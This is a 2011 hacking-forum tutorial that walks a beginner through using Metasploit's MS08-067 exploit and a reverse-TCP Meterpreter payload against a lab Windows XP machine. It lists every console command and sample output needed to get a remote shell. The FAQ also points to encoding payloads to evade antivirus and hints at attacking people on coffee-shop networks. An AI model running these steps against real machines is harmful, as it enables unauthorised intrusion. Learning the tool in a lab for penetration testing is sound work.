

Forum:[Hack Forums](#)

Thread: [\[GUIDE\]Shadowman's Metasploit Framework Tutorial\[GUIDE\]](#)

K0FIN - May 22, 2011, 1:40 pm

Shadowman's Metasploit Framework Tutorial

#Tutorial Overview#

Hello, welcome to my tutorial. My name is Shadowman, and I will be teaching you the basics of the Metasploit Framework. This tutorial will not possibly cover everything, but it will give you some insight and basic understanding of how to use the Metasploit Framework and how it works. For this tutorial, I will be using the windows/smb/ms08_067_netapi exploit module. I know, you've probably already read about it and seen a bunch of tutorials on how to use it. I have too, and most of them are poorly written, or they just list the commands you're supposed to enter into your console without any explanation of what you are doing. The tutorial will start with machine setup, then it will flow into actually hacking a box (box is slang for a computer). At the end I will answer some FAQ, and at the bottom you can read the disclaimer for the tutorial. I sincerely hope you enjoy this tutorial. Let's get started!

#General Requirements#

-> Both computers (attacking computer and victim computer, if you are using two computers) must be connected to a network with access to the internet.

-> Basic Linux command-line knowledge.

-> The desire to learn.

#Attacker Requirements#

First, you need to set up your box. You are the attacker, so you're gonna need some tools. Since this tutorial is Linux-based, my prime recommendation would be BackTrack 5. It has everything you need and then some. You can find it here-

<http://www.backtrack-linux.org/downloads/>

You can also look up how to install and use it, whether you prefer a hard drive installation, using it as a Live CD, or as a bootable USB. However, if you are unexperienced with using Linux, I suggest you download and install a more user friendly Linux distribution. I suggest Ubuntu, since BackTrack 5 is based off of Linux Ubuntu 10.04. From there you can install the Metasploit Framework from here-

<http://www.metasploit.com/>

If you have trouble installing Linux at all, you will have to go to every hacker's friend-

<http://www.google.com/>

You can find the answers to all your problems there, if you're not lazy. This tutorial covers the Metasploit Framework, not how to install Linux. Make sure the attacker computer is on a network.

#Target Requirements#

Once you have your attacking box set up, it's time to set up the victim box.

To do this, you can use a separate box on your network, or you can use it as a virtual machine inside your attacking box. For the victim, we are going to use Windows XP. It can be service pack 0, 1, 2, or 3. To use it in a separate box on your network, just install it to that box. To use it as a virtual machine, you will need to install Virtual Box or a VMware player in your attacker box. You can also go on Google to learn how to do this. If you do install Windows XP as a virtual machine, make sure you are using a bridged adapter. You can do this in the Virtual Box's or VMware's settings.

#Hacking#

Now that you have everything set up, go to your attacker box and open up a Terminal window (or Shell Konsole, depending on what GUI you are using with your Linux distribution). Once you have that open, you will need to fire up the Metasploit Framework. We will be using the Metasploit Framework console for this tutorial, so you should have a basic Linux command-line knowledge. In BackTrack 5, type in-

Code `msfconsole`

If you are not using BackTrack 5, navigate to the directory you installed the Metasploit Framework in and type-

Code `./msfconsole`

However, even if you do not have BackTrack 5, you can use the same command to fire up the Metasploit Framework as BackTrack 5 does, depending on how you installed the Metasploit Framework. Don't worry if you don't see anything in your Terminal window after you type in the above command, this is just the Metasploit Framework loading. Now that we have the Metasploit Framework fired up, let's start hacking!

First we need to update the Metasploit Framework. After the Metasploit Framework has booted up, type this command-

Code `svn update`

Now wait, and the Metasploit Framework will be updated. If you can't update it, you are probably not connected to the Internet.

Now that everything is updated, we need to choose our exploit. We already know which exploit we are going to use, but if you want to see all available exploits, type this in-

Code `show exploits`

This command will show all exploits modules available. Now we need to pick our exploit, so type in

this command-

Code use windows/smb/ms08_067_netapi

Now that we have an exploit module loaded, we need to look at our options. Just type-

Code show options

This will tell use what is need for our exploit to work. You should see something like this-

Code Module options (exploit/windows/smb/ms08_067_netapi):

Name	Current Setting	Required	Description
----	-----	-----	-----
RHOST		yes	The target address
RPORT	445	yes	Set the SMB service port
SMBPIPE	BROWSER	yes	The pipe name to use

Exploit target:

Id Name

-- ----

0 Automatic Targeting

Let me explain what these mean. The RHOST is the IP address of the victims computer. You can find this by going to the victim computer, opening up a Command Prompt, and typing in-

Code ipconfig

This command will tell you what the IP address, connection-specific DNS suffix, subnet mask, and default gateway the victim computer is using.

The RPORT setting, as you can see above, is already set to 445. This is because we are exploiting Server Message Block (SMB), which runs on port 445. The SMBPIPE is what we use for our pipe name. Now then, after you have the victim ip address, run this command-

Code set RHOST [victim's ip address]

For example, if the victim's IP address is 192.168.1.68, then you would type-

Code set RHOST 192.168.1.68

If you type in Code show options again, you will see that the RHOST current setting is set with the victim's IP address.

Now that our exploit options are set, we need a payload. Think of a payload this way- An

exploit let's us get in the victim's computer, and the payload is what let's us execute commands and navigate inside the computer. A payload is pretty much just a shell. When you have an exploit module set in the Metasploit Framework, you can look at all the payloads compatible with your exploit. To do this, type-

Code show payloads

Now that we have a bunch of payloads to choose from, for this tutorial anyway, we will be using a Meterpreter shell. A Meterpreter shell is more advanced than any normal shell. You can run commands inside the Meterpreter shell you wouldn't normally be able to with an Operating System-specific shell.

At the bottom of the tutorial, I will explain different types of payloads. But for now, just type this in your terminal-

Code set PAYLOAD windows/meterpreter/reverse_tcp

Now we will show options. Again, type in Code show options

You will see that all options for the payload are set, except for the LHOST option. The LHOST is the address of the attacking (your) computer. This is used to "listen" for a connection from the victim computer. I'll explain more on this in a little bit.

Since you are running linux, to find your IP address, type in this-

Code ifconfig

You will need to look for the interface you are using to connect to your network. Since I have a wireless network, I will be looking for the Code wlan0 interface. If you are on a wired network, however, you will probably be using the Code eth0 interface. Once you see your interface, look at all the details of it, and you will see your IP address by looking at this-

Code Link encap:Ethernet HWaddr 00:24:2c:6e:3e:02

inet addr:192.168.1.67 Bcast:192.168.0.255 Mask:255.255.255.0

inet6 addr: fe80::224:2cff:fe6e:3e02/64 Scope:Link

UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1

RX packets:17234 errors:0 dropped:0 overruns:0 frame:0

TX packets:13285 errors:0 dropped:0 overruns:0 carrier:0

collisions:0 txqueuelen:1000

RX bytes:6899378 (6.8 MB) TX bytes:1689780 (1.6 MB)

What we are looking for is the line that says-

Code inet addr:192.168.1.67

This would be where you would find your IP address for the attacking box.

Now that you have this set, show your options again. You should know how to do this by now.

You will see at the bottom that the target is set to Automatic Targeting. You can type in-

Code show targets

to see a list of all available targets. You can leave it at the setting it is at, and it will automatically detect the operating system the victim is running (in our case, Windows XP).

Now we are ready to run our exploit and payload. Type this in-

Code exploit

The Metasploit Framework will detect the target, trigger the vulnerability, send the payload, and open up your Meterpreter session. Congratulations! You now have a remote command shell on the target box!

#FAQ#

Q -> Do I have to turn off the Windows Firewall?

A -> You can leave the firewall on, or you can turn it off. However, if you do leave it on, make sure the firewall allows file sharing as an exception. A firewall is nothing more than a device that filters inbound and outbound packets. If file sharing is enabled, then the machine is vulnerable (which is what we want for the target).

Q -> The target anti-virus keeps detecting my payload! WTF?

A -> WHY DID YOU INSTALL ANTI-VIRUS?! Just kidding, way to think secure. You can actually bypass your anti-virus, if you installed any on the target box, by encoding your payload using msfpayload. To learn how to do this, visit this site-

http://www.offensive-security.com/metasploit-unleashed/Metasploit_Unleashed_Information_Security_Training

Q -> Does it matter what kind of network I'm on?

A -> You can be on a wired or wireless network, it doesn't matter. Both types of networks still function the same according to the OSI Model. Why do you think hackers love going to coffee shops?

Q -> Does my computer have to be a laptop or desktop?

A -> As long as your box and the target box are on a network and have access to the Internet, it does not matter.

#Payloads#

For this tutorial, the payload we used was a Windows Meterpreter Reverse TCP Stager (windows/meterpreter/reverse_tcp). But there are other types of payloads, so I'll break 'em down for you.

<--Connection-Types-->

1 -> Bind payloads

Bind payloads are payloads that, well, "bind" to the target. All this means is that the payload connection made to the target originates from the attacking computer. You do not need an LHOST option for this type of payload.

2 -> Reverse payloads

Reverse payloads are the opposite of Bind payloads, in respect to the type of connection made. This is why we have an LHOST option for these types of payloads. When the exploit triggers the vulnerability, it will connect and send the payload. But if you are using a reverse payload, the connection originates from the target. So the payload is sent to the target, and then the connection is made back to your computer.

#Inline and Stager

1 -> Inline

An inline payload just send the entire payload at once to the target and a session is created.

2 -> Stager

A stager payload sends part of the payload to the target, then sends the rest and a session is created.

#DISCLAIMER#

I AM NOT RESPONSIBLE FOR HOW YOU APPLY THE KNOWLEDGE GAINED FROM THIS TUTORIAL. THIS TUTORIAL WAS MADE TO INFORM ANY AND ALL PEOPLE OF HOW TO USE THE METASPLOIT FRAMEWORK, AND IS INTENDED FOR USE ONLY IN LEGAL PENETRATION TESTS. I AM NOT RESPONSIBLE FOR HOW YOU USE THIS INFORMATION.

Reppin' - May 22, 2011, 2:40 pm

Thanks mate, this really helped me out,

K0FIN - May 22, 2011, 2:54 pm

For sure. When I was learning how to use Metasploit, I had all these questions and couldn't find the answers to them, so I made this tutorial for people in the same situation.